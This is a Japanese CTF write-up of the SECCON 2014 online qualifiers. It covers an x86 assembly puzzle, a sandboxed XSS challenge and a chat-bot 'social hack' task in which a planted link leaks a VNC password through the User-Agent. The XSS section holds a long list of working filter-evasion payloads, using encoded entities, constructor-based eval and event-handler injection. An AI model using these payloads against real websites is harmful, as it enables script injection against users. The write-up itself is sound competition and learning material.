SECCON2014 オンライン予選Writeup

今までブログやらインターネッツをあさるときはずっとROM専だったわけだが、せっかくCTFやるならブログやってみれば?とチームメンバにいわれ、やってきたことの備忘録も付けたいなーと思っていたところなので、書いていくことにする。
今パンイチだけど。

 

タイトルにあるとおり、SECCON2014 オンライン予選にチームctpmとして参加してきた。ctpmは、去年の秋ぐらいに初めてCTFという世界に飛び込んで活動してきたチーム。
昨年もSECCON2013には参加した(全国大会20チームのうち最下位…orz)。

 

今回の結果は1000点で54位。これはヤバいなーと思い危機感がつのったけれど、良く捕らえれば刺激をもらえた大会だった。

f:id:f_rin:20140721214411p:plain

 

以下、取り組んだ問題についてのWriteup.

バイナリ

x86アセンブラを読もう

以下のコードをアドレス 01361040 から実行した。
表示される数値を答えよ。

01361000 >   55                 PUSH EBP
01361001     8BEC               MOV EBP,ESP
01361003     83EC 08            SUB ESP,8
01361006     C745 FC 00000000   MOV DWORD PTR SS:[EBP-4],0
0136100D     C745 F8 01000000   MOV DWORD PTR SS:[EBP-8],1
01361014     EB 09              JMP SHORT test.0136101F
01361016     8B45 F8            MOV EAX,DWORD PTR SS:[EBP-8]
01361019     83C0 01            ADD EAX,1
0136101C     8945 F8            MOV DWORD PTR SS:[EBP-8],EAX
0136101F >   8B4D F8            MOV ECX,DWORD PTR SS:[EBP-8]
01361022     3B4D 08            CMP ECX,DWORD PTR SS:[EBP+8]
01361025     7F 0B              JG SHORT test.01361032
01361027     8B55 FC            MOV EDX,DWORD PTR SS:[EBP-4]
0136102A     0355 F8            ADD EDX,DWORD PTR SS:[EBP-8]
0136102D     8955 FC            MOV DWORD PTR SS:[EBP-4],EDX
01361030    ^EB E4              JMP SHORT test.01361016
01361032   . 8B45 FC            MOV EAX,DWORD PTR SS:[EBP-4]
01361035   . 83E8 02            SUB EAX,2
01361038   . 8BE5               MOV ESP,EBP
0136103A   . 5D                 POP EBP
0136103B   . C3                 RETN
...
01361040 > . 55                 PUSH EBP
01361041     8BEC               MOV EBP,ESP
01361043     51                 PUSH ECX
01361044     C745 FC 00000000   MOV DWORD PTR SS:[EBP-4],0
0136104B     6A FF              PUSH FF
0136104D     E8 AEFFFFFF        CALL test.01361000
01361052   . 83C4 04            ADD ESP,4
01361055   . 8945 FC            MOV DWORD PTR SS:[EBP-4],EAX
01361058   . 8B45 FC            MOV EAX,DWORD PTR SS:[EBP-4]
0136105B   . 50                 PUSH EAX
0136105C   . 68 F4203601        PUSH OFFSET "FLAG{%d}\n"
01361061   . FF15 A4203601      CALL DWORD PTR DS:[<&MSVCR100.printf>]
01361067   . 83C4 08            ADD ESP,8

アセンブラを読み、そのとおりにプログラムを書いて実行すれば良い。

#include<stdio.h>

int main(){
    int i = 1;
    int sum = 0;
    for(i = 1; i<0x100; i++){
        sum += i;
    }
    sum -= 2;
    printf("FLAG{%d}\n",sum);
    return 0;
}

FLAG

FLAG{32638}

 

WEB

箱庭XSSリターンズ

XSSで、"XSS"と書かれたalertボックスをひたすら出していく問題。
一度入力した英数字は次回からは使えなくなる。また、Stage20ではそれに加え"&", "\"も使えなくなる。

f:id:f_rin:20140721220448p:plain

ループでalertを表示するような着想が得られなかったので、地道に解いていった。

基本系を下のような形で利用する。
これをhexやoct, decなどの表記で派生系を作りながら、禁止文字と被らないようにしていく。大会中つかったのは、以下のうち3種類程度。

"><script>alert("XSS")</script>
"onclick="alert('XSS')"
"onblur=`[]["push"]["constructor"]('alert("XSS")')()`
"onchange="/AAA/['constructor']['constructor']('alert(\'XSS\')')()
"onfocus="javascript:alert('XSS')
"onmousedown="window['alert']('XSS')"
"onmouseup="parent['alert']('XSS')"
"onfocusin="top['alert']('XSS')"
"onPaste="eval('alert(\'XSS\')')"

汚いから晒したくないのだけど、実際使ったものを一応貼っておく。

"oncopy=`[]["AAAAAAAAAAAAAAAAAAAApush".slice(20)]["AAAAAAAAAAAAAAAAAAAAconstructor".slice(20)]('AAAAAAAAAAAAAAAAAAAAalert'.slice(20)+'("'+'AAAAAAAAAAAAAAAAAAAAXSS")'.slice(20))()`
"onContextmenu=`[]["BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBpush".substring(31,35)]["BBBBBBBBBBBBBBBBBBBBBBconstructor".substring(22,33)]('BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBalert'.substring(31,36)+'("'+'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBXSS")'.substring(31,36))()`
"onpaste=`[]["CCCCCCCCCCCCCCCCCCCCCpush".substr(21)]["CCCCCCCCCCCCCCCCCCCCCconstructor".substr(21)]('CCCCCCCCCCCCCCCCCCCCCalert'.substr(21)+'("'+'CCCCCCCCCCCCCCCCCCCCCXSS")'.substr(21))()`
"onmouseleave=`[]["99999push".match(/[SXacehlmnoprstuvx]+/)]["99999constructor".match(/[SXacehlmnoprstuvx]+/)]('99999alert'.match(/[SXacehlmnoprstuvx]+/)+'("'+'99999XSS'.match(/[SXacehlmnoprstuvx]+/)+'")')()`
"><script>alert("XSS")</script>
"onfocus="&#x00006A&#x000061&#x000076&#x000061&#x000073&#x000063&#x000072&#x000069&#x000070&#x000074&#x00003A&#x000061&#x00006C&#x000065&#x000072&#x000074&#x000028&#x000027&#x000058&#x000053&#x000053&#x000027&#x000029
"onmouseover="&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00027&#x00058&#x00053&#x00053&#x00027&#x00029
"onmousemove="&#x006A&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003A&#x0061&#x006C&#x0065&#x0072&#x0074&#x0028&#x0027&#x0058&#x0053&#x0053&#x0027&#x0029
"onmouseout="&#x06A&#x061&#x076&#x061&#x073&#x063&#x072&#x069&#x070&#x074&#x03A&#x061&#x06C&#x065&#x072&#x074&#x028&#x027&#x058&#x053&#x053&#x027&#x029
"onkeypress="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29
"onclick="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041
"ondblclick="&#000106&#000097&#000118&#000097&#000115&#000099&#000114&#000105&#000112&#000116&#000058&#000097&#000108&#000101&#000114&#000116&#000040&#000039&#000088&#000083&#000083&#000039&#000041
"onmousedown="&#00106&#00097&#00118&#00097&#00115&#00099&#00114&#00105&#00112&#00116&#00058&#00097&#00108&#00101&#00114&#00116&#00040&#00039&#00088&#00083&#00083&#00039&#00041
"onmouseup="&#0106&#0097&#0118&#0097&#0115&#0099&#0114&#0105&#0112&#0116&#0058&#0097&#0108&#0101&#0114&#0116&#0040&#0039&#0088&#0083&#0083&#0039&#0041
"onkeydown="&#106&#097&#118&#097&#115&#099&#114&#105&#112&#116&#058&#097&#108&#101&#114&#116&#040&#039&#088&#083&#083&#039&#041
"onSelectStart=`[]["hsup".split("").reverse().join("")]["rotcurtsnoc".split("").reverse().join("")]('trela'.split("").reverse().join("")+'("'+'SSX'.split("").reverse().join("")+'")')()`
"onchange="/z/['\143onstructor']['\143onstructor']('\141lert'+'('+'\'\130SS\''+')')()
"onselect="/q/['\143\157nstructor']['\143\157nstructor']('\141\154ert'+'('+'\'\130\123S\''+')')()
"onblur=`[]["push"]["constructor"]('ale'+'rt("\170\163\163".toUpperCase())')()`
"onmousewheel=`[]["pu"+"sh"]["const"+"ructor"]('al'+'e'+'r'+'t("X'+'SS")')()`

6問目を解いたときと、20問目を解いたときに、それぞれFLAGが表示される。

FLAG{dbe6Z7bdbpa3e7cdcccc5c0}
FLAG{OO3auUR7e8712af065dBa6F}

最終的に禁止文字種類は250近かったと思うw

ネットワーク

ソーシャルハック?

 犯人を追い詰めろ!

という問題文と、LINE風のチャット画面へのリンクが貼られている。
ソーシャルハックを仕掛けてFLAGを取得するというもの。 終了間際に気づいて、サーバ側で80番ポートでリクエストを待ち受ける。チャットで

http://待ち受けサーバIPアドレス/test.png

とかやると、サーバに対してアクセスしてくれる。

# 2014/7/22 キャプチャイメージ追加

f:id:f_rin:20140722102153p:plain

リクエストUser-Agentを見ると、VNCのパスワードが記載されている。

f:id:f_rin:20140721233212p:plain

あとはここにVNCでつないで、FLAGを取得したら完了。
と思いきや、scoreサーバにFLAGを投入したところで時間切れとなりsubmitできなかった。残念。

 

このほかに、チームメンバがフォレンジック300でも惜しいところまでいっていたけど、それを取れていたとしても全国大会にはいけてなかったので、潔く次回の予選に向けて力を蓄えようと思う。
このままでは前回のFinalの屈辱すら果たせなくなってしまうので、良い意味で緊張感を持って次回もチャレンジしたい。

 

それはそうと、今回の箱庭XSSではイベントハンドラを探してくるのが大変だった。今回のinput属性で使えるものを調べたのをついでに載せておく。

onclick
ondblclick
onkeydown
onkeypress
onkeyup        ←これは今回動かなかった
onmouseover
onmousedown
onmouseup
onmouseenter
onmouseout
onmousemove
onmousewheel
onmouseleave
onfocus
onfocusin
onfocusout
onblur
onchange
onselect
onselectstart
ondrag
ondragstart
ondragend
ondrop
oncontextmenu
onpaste
onbeforepaste
oncopy
onbeforecopy
oncut
onbeforecut

 

他にもDecrypt it! にもちまちま取り組んでいたのだけど、何をまかり間違ったかpkcrack でなくてほかのツールでパスワード解析しながらIDAさんでアセンブラ読んでたら時間切れになってしまった。
せめてzip解凍ぐらいまではいきたかったな…

こういうのを解くための嗅覚とreverse力をもっと鍛えないと、と痛感した大会だった。